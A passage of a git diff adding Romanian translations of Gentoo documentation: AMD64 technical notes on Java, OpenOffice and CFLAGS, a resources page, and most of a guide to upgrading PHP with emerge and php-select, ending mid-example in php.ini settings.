+AMD64. Este o versiune release candidate, deci nu trebuie să vă aşteptaţi să
+fie perfectă. Există în portage ca <path>blackdown-jdk-1.4.2</path> şi
+<path>blackdown-jre-1.4.2</path>.
+</p>
+<p>
+Unii oameni au notat că maşina virtuală Java pe 64 de biţi este mai lentă ca
+maşina pe 32 de biţi. Juergen Kreileder a fost amabil să ne răspundă:
+</p>
+<pre>
+De fapt, maşina virtuală pe 64 de biţi este mai rapidă decât cea pe
+32 de biţi, în aproape toate testele de performanţă.
+
+Diferenţa observată de utilizatori este cauzată de alte maşini
+virtuale:
+Versiunea i386 are integrat suportul pentru maşinile virtuale
+HotSpot Client şi, pentru maşinile virtuale HotSpot Server,
+maşina Client este utilizată implicit. Versiunea AMD64 are integrat
+doar suportul Server, maşina virtuală Client nefiind încă portată.
+
+În general, maşina virtuală Server este cea mai rapidă. Compilatorul
+acesteia efectuează mai multe opţimizări şi este mai agresivă decât
+compilatorul maşinii virtuale Client. În general, generează un cod
+mult mai bun.
+Partea mai negativă a acestor optimizări este timpul de procesor şi
+memoria. Din această cauză, rularea de cod GUI în maşina virtuală
+Client, este adesea mai rapidă (cel puţin la început), decât rularea
+acestuia în maşina virtuală Server.
+
+Cu alte cuvinte: Nu este corect să comparăm clientul i386 cu server-ul
+AMD64. Trebuie să comparaţi server-ul i386 (spre ex. "java -server ...")
+cu server-ul AMD64.
+</pre>
+<p>
+De asemenea, acesta ne-a răspuns la întrebarea despre durata până la lansarea
+maşinii virtuale client:
+</p>
+<pre>
+Nu va fi în versiunea finală 1.4.2. Este neprobabil pentru 1.5.0 (atât
+Sun cât şi Blackdown), deoarece cei de la Sun sunt mulţumiţi cu portul
+Server VM şi nu prea sunt interesaţi de portarea Client VM (celelalte
+maşini virtuale, pentru IA-64 şi SPARC64, sunt doar Server VM, de asemenea).
+Şi este prea multă muncă (Aş estima 10-13 săpămâni per om) pentru a
+o face fără plată.
+</pre>
+<p>
+Deci, dacă sunteţi interesat în efectuarea de teste de performanţă, rulaţi java
+-server pe ambele arhitecturi, şi nu vă aşteptaţi ca maşina client să fie
+disponibilă prea curând. ;-)
+</p>
+<p>
+Odată ce aveţi java instalată, următorul link simbolic este necesar pentru a o
+face funcţională cu mozilla (şi posibil, cu konqueror):
+</p>
+<pre>
+/usr/lib/nsbrowser/plugins/libjavaplugin_oji.so -> /opt/blackdown-jdk-1.4.2_rc1/jre/plugin/amd64/mozilla/libjavaplugin_oji.so
+</pre>
+</body>
+</section>
+ 
+<section>
+<title>Instalarea OpenOffice</title>
+<body>
+<p>
+Momentan, OpenOffice este disponibil doar în forma binară pe 32 de biţi,
+deoarece OpenOffice 1.1.x nu se poate compila pe amd64. Pentru a instala
+OpenOffice, instalaţi pachetul <path>app-office/openoffice-bin</path>.
+</p>
+<note>
+Nici să nu vă gândiţi să încercaţi să compilaţi OpenOffice din surse. Este un
+efort în zadar şi vă va produce doar nopţi albe.
+</note>
+</body>
+</section>
+
+<section>
+<title>Setarea Corectă a Opţiunilor CFLAGS</title>
+<body>
+<p>
+Spre deosebire de gcc 3.3, gcc 3.4 necesită setarea -march. Cele mai
+conservative (şi suportate) opţiuni CFLAGS sunt cele indicate mai jos:
+</p>
+<pre caption="Opţiuni CFLAGS pentru gcc-3.4">
+...
+CFLAGS="-march=k8 -O2 -pipe"
+...
+</pre>
+<note>
+<c>-march=k8</c> este egal cu <c>-march=athlon64</c> care este egal cu
+<c>-march=opteron</c>.
+</note>
+<p>
+Au fost unele probleme cu lipsa specificării <c>-fPIC</c> la compilarea
+obiectelor partajate, motivul fiind cel de pe lista acesta: <uri
+link="http://www.x86-64.org/lists/discuss/msg02621.html">Portarea către
+Hammer</uri> -- căutaţi după "Shared libraries must be compiled with -fPIC".
+Dacă găsiţi orice pachet ce necesită <c>-fPIC</c> pentru a rula/se compila
+corect, vă rugăm să ne notificaţi imediat, deoarece trebuie să actualizăm
+pachetul. Vă rugăm să nu specificaţi <c>-fPIC</c> între opţiunile globale
+CFLAGS, deoarece aceasta nu este o soluţie acceptabilă ci doar o rezolvare
+temporară.
+</p>
+<p>
+Vă rugăm să nu adăugaţi <c>-m32</c> între indicatorii USE, deoarece nu veţi
+dori să vă compilaţi sistemul în modul pe 32 de biţi, şi implicit Gentoo nu
+suportă compilarea binarelor pe 32 de biţi. Utilizarea indicatorului
+<c>-m64</c> este irelevantă, deoarece compilatorul implicit este pe 64 de biţi
+şi ar putea avea efecte negative asupra codului ce oferă <c>-m32</c> intern
+pentru a compila cod de asamblare pe 32 de biţi (cum ar fi noile versiuni de
+grub).
+</p>
+<warn>
+Nu utilizaţi <c>-Os</c>. Aceasta este recunoscută ca prevenind unele componente
+din KDE 3.2.0 să se compileze
+</warn>
+</body>
+</section>
+ 
+<section>
+<title>Îndicatori USE Ce Sunt Ignoraţi</title>
+<body>
+<p>
+Indicatorii USE <c>mmx</c>, <c>3dnow</c>, <c>sse</c> şi <c>sse2</c> sunt
+ignoraţi pe AMD64, deoarece toate procesoarele AMD64 suportă aceste seturi de
+instrucţiuni. Acestea sunt ignorate, deoarece activează optimizarea codului de
+asamblare pe 32 de biţi pentru unele pachete.
+</p>
+</body>
+</section>
+ 
+<section>
+<title>Raportarea Problemelor şi Trimiterea de Patch-uri</title>
+<body>
+<p>
+Dacă aveţi o aplicaţie cu care aţi avut probleme, aveţi un patch ce rezolvă
+problemele sau doriţi să raportaţi o compilare reuşită pentru a o marca
+corespunzător în portage, vă rugăm să raportaţi un bug la <uri
+link="http://bugs.gentoo.org">bugs.gentoo.org</uri>.
+</p>
+<note>
+Puteţi indica în CC, de asemenea: <mail
+link="amd64@gentoo.org">amd64@gentoo.org</mail> dacă doriţi.
+</note>
+<note>
+Pentru a transmite un patch, trebuie mai întâi să raportaţi o problemă, apoi să
+navigaţi înapoi la raportul problemei şi să selectaţi "Create a new
+attachment".
+</note>
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/ro/base/amd64/technotes/resources.xml b/xml/htdocs/proj/ro/base/amd64/technotes/resources.xml
new file mode 100644
index 00000000..e62d8c4d
--- /dev/null
+++ b/xml/htdocs/proj/ro/base/amd64/technotes/resources.xml
@@ -0,0 +1,75 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ro/base/amd64/technotes/resources.xml,v 1.1 2005/05/14 15:36:12 alin Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>2005-02-19</date>
+
+<section>
+<title>Resurse Adiţionale pentru Gentoo/AMD64</title>
+<subsection>
+<title>Manualul Oficial Gentoo de Instalare</title>
+<body>
+<p>
+Aceste note tehnice sunt doar un supliment pentru documentaţia Gentoo oficială.
+Consultaţi <uri
+link="http://www.gentoo.org/doc/ro/handbook/handbook.xml">Manualul Gentoo</uri>
+pentru informaţii generale despre instalarea Gentoo.
+</p>
+</body>
+</subsection>
+
+<subsection>
+<title>Listele de Discuţii şi Forumurile</title>
+<body>
+<p>
+Momentan, Proiectul Gentoo/AMD64 are liste de discuţii şi forumuri disponibile
+pentru întrebările utilizatorilor.
+</p>
+<ul>
+<li>Forum: <uri>http://forums.gentoo.org/viewforum.php?f=46</uri></li>
+<li>
+  Listă de Discuţii: <mail
+  link="gentoo-amd64-subscribe@gentoo.org">Subscriere</mail> / <mail
+  link="gentoo-amd64-unsubscribe@gentoo.org">Desubscriere</mail> / <uri
+  link="http://www.gentoo.org/main/en/lists.xml">Informaţii Generale despre
+  Lista de Discuţii</uri>
+</li>
+</ul>
+</body>
+</subsection>
+
+<subsection>
+<title>Discuţii IRC despre Gentoo/AMD64</title>
+<body>
+<p>
+Dacă aţi citit toată documentaţia şi tot nu aţi găsit răspuns întrebării dvs.,
+atunci cea mai bună soluţie este să întrebaţi problema dvs. pe canalul IRC
+#gentoo-amd64 de pe irc.freenode.net.
+</p>
+<note>
+Este foarte important să consultaţi aceste note tehnice <e>înainte</e> de a
+pune întrebări pe forum, liste de discuţii sau IRC.
+</note>
+</body>
+</subsection>
+
+<subsection>
+<title>Site-ul x86-64.org</title>
+<body>
+<p>
+<uri link="http://www.x86-64.org">Pagina principală AMD64</uri> deţine
+informaţii importante despre portarea aplicaţiilor pe platforma AMD64, ce pot
+fi folositoare, dacă sunteţi interesat în scrierea de patch-uri sau repararea
+fişierelor ebuild eronate.
+</p>
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/ro/php/php-upgrading.xml b/xml/htdocs/proj/ro/php/php-upgrading.xml
new file mode 100644
index 00000000..d7db2aaa
--- /dev/null
+++ b/xml/htdocs/proj/ro/php/php-upgrading.xml
@@ -0,0 +1,745 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ro/php/php-upgrading.xml,v 1.3 2006/05/02 18:34:20 alin Exp $ -->
+
+<guide link="php-upgrading.xml" lang="ro">
+<title>Actualizarea PHP</title>
+
+<author title="Autor">
+ <mail link="akorthaus@web.de">Andreas Korthaus</mail>
+</author>
+<author title="Translator">
+ <mail link="alin@gentoo.org">Alin Dobre</mail>
+</author>
+
+<abstract>
+Acest document descrie procedura pe care utilizatorii ar trebui să o urmeze
+pentru a-şi actualiza în siguranţă instalarea lor PHP.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2006-03-19</date>
+
+<chapter>
+<title>Introducere</title>
+<section>
+<body>
+
+<p>
+În trecut au existat multe cereri de ce PHP5 din portage nu este marcat ca
+stabil, încă. Problema nu este însuşi pachetul PHP5, principalul motiv
+pentru care PHP5 nu a fost marcat, încă, stabil este că există multe
+aplicaţii, extensii PHP şi pachete din portage care nu funcţionează cu
+PHP5 şi nu se poate face nimic în acest sens. PHP5 nu este 100% compatibil
+cu PHP4 şi nu orice aplicaţie PHP4 poate/va fi portat pentru a rula pe PHP5.
+Mulţi utilizatori vor avea nevoie de suport PHP4 pentru mult timp.
+</p>
+
+<p>
+Soluţia pentru rezolvarea problemelor este să fie oferit un mediu mixt PHP4
+/ PHP5 pe aceeaşi maşină în acelaşi timp. Însă, acest lucru nu ar
+fi fost posibil cu dispunerea curentă a pachetelor şi eclaselor PHP, deci
+nu este nevoie să fie depus prea mult efort în noua dispunere, noile eclase
+şi noile ebuild-uri.
+</p>
+
+<p>
+Acest document detaliază modalitatea de a actualiza fără a afecta negativ
+sistemul dvs.
+</p>
+
+<note>
+Noile pachete PHP necesită noua dispunere a Apache, deco consultaţi
+documentul despre <uri
+link="http://www.gentoo.org/doc/en/apache-upgrading.xml">Actualizarea
+Apache</uri>, dacă nu l-aţi actualizat încă.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Modificări</title>
+<section>
+<title>Pachetele de Bază PHP Consolidate</title>
+<body>
+
+<p>
+Toate ebuild-urile PHP <c>dev-php/php</c>, <c>dev-php/php-cgi</c> şi
+<c>dev-php/mod_php</c> au fost integrate într-un singur ebuild:
+<c>dev-lang/php</c>.
+</p>
+
+<p>
+Pentru a alege interfaţa server (SAPI) dorită, utilizaţi următorii
+indicatori USE:
+</p>
+
+<ul>
+  <li><c>cgi</c> - compilează şi instalează <path>/usr/bin/php-cgi</path></li>
+  <li><c>cli</c> - compilează şi instalează <path>/usr/bin/php</path></li>
+  <li><c>apache</c> - compilează şi instalează <c>mod_php</c> pentru Apache 1.3  (noua dispunere)</li>
+  <li><c>apache2</c> - compilează şi instalează <c>mod_php</c> pentru Apache 2.0  (noua dispunere)</li>
+</ul>
+
+<p>
+Puteţi amesteca şi potrivi oricare dintre aceşti indicatori; cu excepţia
+faptului că nu puteţi avea şi <c>apache</c> şi <c>apache2</c> activate.
+</p>
+
+<p>
+Cel mai important lucru despre aceste ebuild-uri este că puteţi avea atât
+PHP4 cât şi PHP5 instalate în acelaşi timp:
+</p>
+
+<pre caption="instalarea PHP">
+<comment>(instalaţi ultima versiune de PHP cu CLI şi modul Apache2)</comment>
+<i>USE="cli apache2" emerge 'dev-lang/php'</i>
+
+<comment>(instalaţi doar PHP4)</comment>
+<i>USE="cli apache2" emerge '=dev-lang/php-4*'</i>
+
+<comment>(instalaţi atât PHP4 cât şi PHP5)</comment>
+<i>USE="cli apache2" emerge '=dev-lang/php-4*' '=dev-lang/php-5*'</i>
+</pre>
+
+<note>
+Indicatorii USE nu ar trebui să fie setaţi în acest mod, vă rugăm
+utilizaţi <path>/etc/portage/package.use</path> aşa cum este descris
+ulterior.
+</note>
+
+</body>
+</section>
+
+<section>
+<title>Noile Categorii de Pachete</title>
+<body>
+
+<p>
+Noile ebuild-uri PHP au fost mutate din <c>dev-php</c> în <c>dev-lang/php</c>.
+Pentru a face posibilă instalarea pachetelor independent pentru PHP4 şi
+PHP5, două categorii noi în portage au fost create: <c>dev-php4</c> şi
+<c>dev-php5</c>. Aceste categorii sunt utilizate în special de pachetele PECL,
+ca <c>pecl-pdo</c>, <c>pecl-apc</c>, <c>php-java-bridge</c> sau <c>xdebug</c>.
+</p>
+
+<p>
+Pentru a instala <c>pecl-apc</c>:
+</p>
+
+<pre caption="instalarea extensiilor PHP, ca PECL::APC (examplu)">
+<comment>(instalare APC doar pentru PHP4)</comment>
+<i>emerge dev-php4/pecl-apc</i>
+
+<comment>(instalare APC doar pentru PHP5)</comment>
+<i>emerge dev-php5/pecl-apc</i>
+
+<comment>(instalare APC atât pentru PHP4, cât şi pentru PHP5)</comment>
+<i>emerge dev-php4/pecl-apc dev-php5/pecl-apc</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Directoare Noi</title>
+<body>
+
+<ul>
+  <li>
+    Aceste noi ebuild-uri îşi instalează conţinutul în
+    <path>/usr/lib/php4</path> şi <path>/usr/lib/php5</path> (modulele Apache
+    sunt instalate în locaţia corectă pentru Apache).
+  </li>
+  <li>
+    Pachetele PEAR şi alte biblioteci PHP sunt instalate în
+    <path>/usr/share/php</path> (întainte erau instalate în
+    <path>/usr/lib/php</path>)
+  </li>
+  <li>
+    Pachetele PECL nu vor mai adăuga directive de configurare prin
+    adăugarea acestora în fişierul de configurare <path>php.ini</path>,
+    dar vor adăuga un fişier <path>[PACHET].ini</path> în directorul
+    <path>/etc/php/[SAPI]/ext</path>.
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Legăturile simbolice ale binarelor PHP</title>
+<body>
+
+<p>
+Pentru a instala mai mult de o versiune de PHP, spre ex.:
+</p>
+
+<pre caption="emerge PHP4 şi PHP5">
+<i>USE="cgi cli apache2" emerge '=dev-lang/php-4*' '=dev-lang/php-5*'</i>
+</pre>
+
+<p>
+Ebuild-urile vor crea legături simbolice în <path>/usr/bin</path> pentru
+ultima versiune de PHP instalată, în acest caz PHP5, deoarece a fost
+instalat după PHP4. Dacă doriţi ca <path>/usr/bin/php</path> sau
+<path>/usr/bin/php-cgi</path> să indice către PHP4, sau unul către PHP4
+şi celălalt către PHP5, etc., puteţi <uri
+link="#doc_chap3_sect5">utiliza utilitarul php-select</uri> din
+<c>app-admin/php-toolkit</c>. <c>php-select</c> facilitează crearea
+legăturilor simbolice către binarele corespunzătoare.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Instrucţiuni de Actualizare</title>
+<section>
+<title>Găsirea pachetelor de actualizat</title>
+<body>
+
+<p>
+Mai întâi trebuie să găsiţi ce pachete adiţionale trebuie să
+actualizaţi. Puteţi face acest lucru utilizând utilitarul <c>equery</c>,
+care face parte din pachetul <c>app-portage/gentoolkit</c>:
+</p>
+
+<pre caption="afişarea unei liste cu pachetele instalate în dev-php">
+$ <i>equery list 'dev-php/'</i>
+[ Searching for all packages in 'dev-php' among: ]
+ * installed packages
+[I--] [  ] dev-php/php-4.4.0 (0)
+[I--] [  ] dev-php/mod_php-4.4.0 (1)
+[I--] [  ] dev-php/smarty-2.6.10 (0)
+[I--] [  ] dev-php/PEAR-PEAR-1.3.5-r1 (0)
+[I--] [  ] dev-php/PEAR-Mail-1.1.6 (0)
+[I--] [  ] dev-php/PEAR-MDB-1.3.0 (0)
+[I--] [  ] dev-php/PECL-apc-3.0.6 (0)
+[I--] [  ] dev-php/PECL-imagick-0.9.11 (0)
+[I--] [  ] dev-php/xdebug-2.0.0_beta3 (0)
+</pre>
+
+<impo>
+Pachetele instalate de dvs. pot varia, de aceea asiguraţi-vă că rulaţi
+această comandă. Ar trebui să stocaţi lista generată mai sus, pentru a
+vă asigura că veţi actualiza toate pachetele.
+</impo>
+
+<note>
+Multe aplicaţii web nu sunt afectate în nici un mod, deoarece majoritatea
+utilizează eclasa webapp, care le instalează corect. Aţi putea să
+verificaţi dacă este o nouă revizie.
+</note>
+
+<p>
+Extensiile PHP, cum ar fi
+</p>
+
+<ul>
+  <li><c>PECL-apc</c></li>
+   <li><c>PECL-imagick</c></li>
+   <li><c>xdebug</c></li>
+</ul>
+
+<p>
+au fost împărţite în două categorii de pachete separate, <c>dev-php4</c>
+şi <c>dev-php5</c>, pentru a face posibilă utilizarea acestora independent,
+pentru ambele versiuni de PHP. În plus, cele mai multe dintre aceste pachete
+au fost redenumite:
+</p>
+
+<p>
+Exemple pentru redenumirea noilor directoare:
+</p>
+
+<table>
+  <tr>
+    <th>Extensia PHP</th>
+    <th>anterior</th>
+    <th>nou în PHP4</th>
+    <th>nou în PHP5</th>
+  </tr>
+  <tr>
+    <ti>APC</ti>
+    <ti>dev-php/PECL-apc</ti>
+    <ti>dev-php4/pecl-apc</ti>
+    <ti>dev-php5/pecl-apc</ti>
+  </tr>
+  <tr>
+    <ti>Imagick</ti>
+    <ti>dev-php/PECL-imagick</ti>
+    <ti>dev-php4/pecl-imagick</ti>
+    <ti>dev-php5/pecl-imagick</ti>
+  </tr>
+  <tr>
+    <ti>Xdebug</ti>
+    <ti>dev-php/xdebug</ti>
+    <ti>dev-php4/xdebug</ti>
+    <ti>dev-php5/xdebug</ti>
+  </tr>
+</table>
+
+<note>
+Înainte de a instala aceste extensii, din nou, va trebui să găsiţi în
+<path>/usr/portage</path>, modalitatea în care noile pachete au fost
+redenumite.
+</note>
+
+</body>
+</section>
+
+<section>
+<title>Ştergerea pachetelor vechi</title>
+<body>
+
+<p>
+Am efectuat multe modificări asupra funcţionării PHP în Gentoo. Va trebui să
+ştergeţi complet pachetele PHP vechi, înainte de a instala noile pachete:
+</p>
+
+<pre caption="ştergerea pachetelor vechi (examplu)">
+<comment>(dezinstalarea pachetelor PHP)</comment>
+<i>emerge --unmerge php mod_php</i>
+
+<comment>(dezinstalarea extensiilor PHP)</comment>
+<i>emerge --unmerge PECL-apc PECL-imagick xdebug</i>
+
+<comment>(dezinstalarea bibliotecilor/aplicaţiilor PHP)</comment>
+<i>emerge --unmerge PEAR-PEAR PEAR-Mail PEAR-MDB smarty</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Setarea indicatorilor USE</title>
+<body>
+
+<p>
+Deoarece am adăugat unii indicatori USE noi, ar trebui să le revizuiţi şi să
+adăugaţi liniile corespunzătoare în <path>/etc/portage/package.use</path>
+(trebuie creat dacă nu există).
+</p>
+
+<note>
+<path>/etc/portage/package.use</path> va seta indicatorii USE pentru instalarea
+dvs. PHP şi le va reţine fără a face  modificări masive în fişerul
+<path>make.conf</path>.
+</note>
+
+<p>
+Vă rugăm să setaţi indicatorii USE corespunzător cu ceea ce doriţi să suporte
+instalarea dvs. PHP (este recomandat să setaţi, cel puţin indicatorul USE
+<c>cli</c>):
+</p>
+
+<pre caption="Indicatorii USE pentru dev-lang/php (exemplu)">
+dev-lang/php -* cli apache2 ctype expat fastbuild ftp gd hash iconv memlimit mysql nls pcre pic pdo reflection session simplexml sockets spl ssl tokenizer truetype unicode xml xsl zlib
+</pre>
+
+<note>
+<c>-*</c> va dezactiva toţi indicatorii USE (aceasta va dezactiva chiar
+funcţionalităţi de bază ca Session-, PCRE-, gd- şi suport MySQL!), deci va
+trebui să specificaţi fiecare indicator USE pentru orice
+extensie/funcţionalitate pe care doriţi să o utilizaţi. Consultaţi <uri
+link="http://svn.gnqs.org/projects/gentoo-php-overlay/wiki/ManagingExtensions">Organizarea
+Extensiilor</uri> pentru mai multe detalii. Va trebui să setaţi indicatorii USE
+pentru valorile implicite setate de producători, cum ar fi <c>pcre</c> dacă
+doriţi să utilizaţi <uri
+link="http://svn.gnqs.org/projects/gentoo-php-overlay/wiki/PhpRefPcre">Funcţiile
+preg_*</uri> sau <c>session</c> dacă doriţi să utilizaţi <uri
+link="http://svn.gnqs.org/projects/gentoo-php-overlay/wiki/PhpRefSession">Funcţiile
+de Manipulare a Sesiunilor</uri>. 
+</note>
+
+<p>
+Dacă doriţi să instalaţi PHP4 şi PHP5 în paralel, puteţi seta indicatori USE
+diferiţi pentru fiecare versiune: 
+</p>
+
+<pre caption="indicatori USE diferiţi pentru PHP4 şi PHP5 (exemplu)">
+=dev-lang/php-4* -* cli cgi apache2 ctype expat fastbuild force-cgi-redirect ftp gd iconv ipv6 memlimit mysql nls pcre pic posix session sockets ssl tokenizer truetype unicode xml xsl zlib
+=dev-lang/php-5* -* cli cgi apache2 ctype fastbuild force-cgi-redirect ftp gd hash iconv ipv6 memlimit mysql nls pcre pic posix pdo reflection session simplexml soap sockets spl sqlite ssl tokenizer truetype unicode xml xmlreader xmlwriter xsl zlib
+</pre>
+
+<note>
+Pentru o listă de indicatori USE recomandaţi, consultaţi documentul despre <uri
+link="http://svn.gnqs.org/projects/gentoo-php-overlay/wiki/CommonQuestions#DoYouRecommendAnyUSEFlags">Indicatori
+USE Recomandaţi</uri>. Pentru o listă a indicatorilor USE disponibili pentru
+PHP, consultaţi <uri
+link="http://svn.gnqs.org/projects/gentoo-php-overlay/wiki/NewUseFlags">tabela
+de indicatori USE</uri> din interfaţa wiki a repozitoriului overlay.
+</note>
+
+</body>
+</section>
+
+<section>
+<title>Instalarea PHP</title>
+<body>
+
+<p>
+Acum, aveţi opţiunea de a instala doar PHP4, doar PHP5 sau ambele în paralel.
+Pentru a instala doar PHP4, trebuie să instalaţi utilizând emerge pentru
+<c>=dev-lang/php-4*</c>, pentru a instala PHP5 (ultima versiune), puteţi
+utiliza <c>dev-lang/php</c>, şi să le instalaţi pe amândouă în paralel, trebuie
+să utilizaţi emerge pentru <c>=dev-lang/php-4*</c> şi <c>=dev-lang/php-5*</c>.
+</p>
+
+<p>
+Verificaţi setărilor indicatorilor USE:
+</p>
+
+<pre caption="verificarea indicatorilor USE (exemplu)">
+<comment>(verificarea pachetului PHP4)</comment>
+<i>emerge --pretend --verbose '=dev-lang/php-4*'</i>
+
+<comment>(verificarea pachetului PHP5)</comment>
+<i>emerge --pretend --verbose '=dev-lang/php-5*'</i>
+
+<comment>(verificarea extensiilor PHP pentru PHP4)</comment>
+<i>emerge --pretend --verbose dev-php4/pecl-apc dev-php4/pecl-imagick dev-php4/xdebug</i>
+
+<comment>(verificarea extensiilor PHP pentru PHP5)</comment>
+<i>emerge --pretend --verbose dev-php5/pecl-apc dev-php5/pecl-imagick</i>
+
+<comment>(verificarea bibliotecilor/aplicaţiilor PHP)</comment>
+<i>emerge --pretend --verbose PEAR-PEAR PEAR-Mail PEAR-MDB smarty</i>
+</pre>
+
+<p>
+Instalaţi PHP dacă totul a decurs în ordine:
+</p>
+
+<pre caption="instalarea noilor pachete (exemplu)">
+<comment>(instalarea pachetului PHP4)</comment>
+<i>emerge '=dev-lang/php-4*'</i>
+
+<comment>(instalarea pachetului PHP5)</comment>
+<i>emerge '=dev-lang/php-5*'</i>
+
+<comment>(instalarea extensiilor PHP pentru PHP4)</comment>
+<i>emerge dev-php4/pecl-apc dev-php4/pecl-imagick dev-php4/xdebug</i>
+
+<comment>(instalarea extensiilor PHP pentru PHP5)</comment>
+<i>emerge dev-php5/pecl-apc dev-php5/pecl-imagick</i>
+
+<comment>(instalarea bibliotecilor/aplicaţiilor PHP)</comment>
+<i>emerge PEAR-PEAR PEAR-Mail PEAR-MDB smarty</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>PHP4 şi PHP5 în paralel: selectarea binarului cli/cgi</title>
+<body>
+
+<p>
+După instalare, veţi avea binare pentru <c>cli</c> şi/sau <c>cgi</c> în
+<path>/usr/lib/php4/bin</path> şi/sau <path>/usr/lib/php5/bin</path>. Dacă aţi
+instalat, atât PHP4 cât şi PHP5, portage nu poate decide şi întotdeauna va crea
+legături simbolice pentru ultima versiune de PHP instalată, în
+<path>/usr/bin</path>. Deci, dacă aţi instalat PHP5 ultima dată, veţi vedea că
+<path>/usr/bin/php</path> este legat simbolic de
+<path>/usr/lib/php5/bin/php</path>. Deci, un binar <c>cli</c> şi/sau
+<c>cgi</c>, ca şi unul <c>php-devel</c> (responsabil pentru compilarea
+extensiilor PHP utilizând <c>phpize</c> şi <c>php-config</c>) trebuie să fie
+legat simbolic (în <path>/usr/bin</path>), lucru uşor de făcut utilizând
+<c>php-select</c>, parte componentă a <c>app-admin/php-toolkit</c>.
+</p>
+
+<note>
+Pachetele <c>dev-lang/php</c> depind de <c>app-admin/php-toolkit</c>, deci
+<c>php-select</c> ar trebui să fie disponibile automat după instalarea
+pachetelor noi php.
+</note>
+
+<p>
+Presupunând că aţi instalat atât <c>=dev-lang/php-4*</c> cât şi
+<c>=dev-lang/php-5*</c>, introduceţi următoare <c>php-select</c> pentru a afişa
+versiunile PHP selectate în mod curent:
+</p>
+
+<pre caption="afişarea versiunilor PHP selectate curent">
+<comment>(pentru cli)</comment>
+<i>php-select php</i>
+
+<comment>(pentru cgi)</comment>
+<i>php-select php-cgi</i>
+
+<comment>(pentru phpize, php-config)</comment>
+<i>php-select php-devel</i>
+</pre>
+
+<p>
+Ar trebui să vedeţi ceva de genul:
+</p>
+
+<pre caption="exemplu de afişare a php-select">
+# <i>php-select php</i>
+/usr/bin/php is set to /usr/lib/php5/bin/php
+</pre>
+
+<p>
+Ceea ce înseamnă că calea implictă către binarul cli al PHP
+<path>/usr/bin/php</path> este legat simbolic de binarul PHP5
+<path>/usr/lib/php5/bin/php</path>. Deci, script-urile PHP ce utilizează
+<path>/usr/bin/php</path> vor fi executate de PHP5.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Utilizarea php-select pentru a modifica versiunile PHP implicite</title>
+<body>
+
+<p>
+Dacă nu sunteţi mulţumit cu setarea versiunii implicite gasită în capitolul
+anterior, puteţi utiliza din nou <c>php-select</c> pentru a selecta versiunea
+dorită:
+</p>
+
+<pre caption="selectarea versiunilor dorite">
+<comment>(pentru cli)</comment>
+<i>php-select php php4</i>
+
+<comment>(pentru cgi)</comment>
+<i>php-select php-cgi php5</i>
+
+<comment>(pentru phpize, php-config)</comment>
+<i>php-select php-devel php5</i>
+</pre>
+
+<note>
+Vă rugăm să utilizaţi <c>php-select -h</c> pentru a obţine mai multe detalii
+despre funcţionalităţile <c>php-select</c>.
+</note>
+
+<p>
+Verficaţi legăturile:
+</p>
+
+<pre caption="verificarea legăturilor simbolice">
+ # <i>stat /usr/bin/php /usr/bin/php-cgi /usr/bin/phpize /usr/bin/php-config | grep File</i>
+ File: `/usr/bin/php' -> `/usr/lib/php4/bin/php'
+ File: `/usr/bin/php-cgi' -> `/usr/lib/php5/bin/php-cgi'
+ File: `/usr/bin/phpize' -> `/usr/lib/php5/bin/phpize'
+ File: `/usr/bin/php-config' -> `/usr/lib/php5/bin/php-config'
+</pre>
+
+<note>
+Vă rugăm să notaţi faptul că <c>php-select</c> doar modifică versiunile
+implicite. Dacă aţi instalat cgi/cli atât pentru PHP4 cât şi pentru PHP5,
+puteţi întotdeauna utiliza căile directe, cum ar fi
+<path>/usr/lib/php4/bin/php</path> sau <path>/usr/lib/php5/bin/php</path>
+pentru a rula un script PHP specific unei versiuni. Puteţi utiliza componentele
+cgi pentru PHP4 şi PHP5 în aceeaşi instanţă Apache, dar nu puteţi utiliza două
+module PHP în aceeaşi instanţă Apache, consultaţi <uri
+link="php4-php5-configuration.xml">Ghidul pentru Configurarea PHP4 şi
+PHP5</uri> pentru mai multe detalii.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Migrarea fişierelor de configurare</title>
+<section>
+<body>
+
+<p>
+Pachetul PHP din Gentoo îşi stochează configuraţia în <path>/etc/php</path>, ce
+conţine câte un subdirector pentru fiecare interfaţă de aplicaţie (SAPI) pentru
+fiecare versiune de PHP:
+</p>
+
+<pre caption="afişarea directoarelor de configurare ale PHP">
+$ <i>ls -1 /etc/php</i>
+apache2-php4
+apache2-php5
+cli-php4
+cli-php5
+</pre>
+
+<p>
+Fiecare subdirector conţine un fişier <path>php.ini</path> propriu, ca
+pachetele vechi.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Modificări în php.ini</title>
+<body>
+
+<p>
+Ar trebui să utilizaţi <c>etc-update</c> sau <c>dispatch-conf</c> şi să
+analizaţi diferenţele dintre setările noi şi cele vechi din
+<path>php.ini</path>. Două directive ce trebuie neapărat verificate sunt
+<c>include_path</c> şi <c>extension_dir</c>. Dar, atenţie aici,
+<c>extension_dir</c> este diferită între versiunile PHP (de asemenea, şi între
+5.0 şi 5.1!).
+</p>
+
+<p>
+Exemplu pentru PHP 5.1 în <path>/etc/php/apache2-php5/php.ini</path> şi
+<path>/etc/php/cli-php5/php.ini</path>:
+</p>
+
+<pre caption="setările vechi din php.ini">
+include_path = ".:/usr/lib/php"
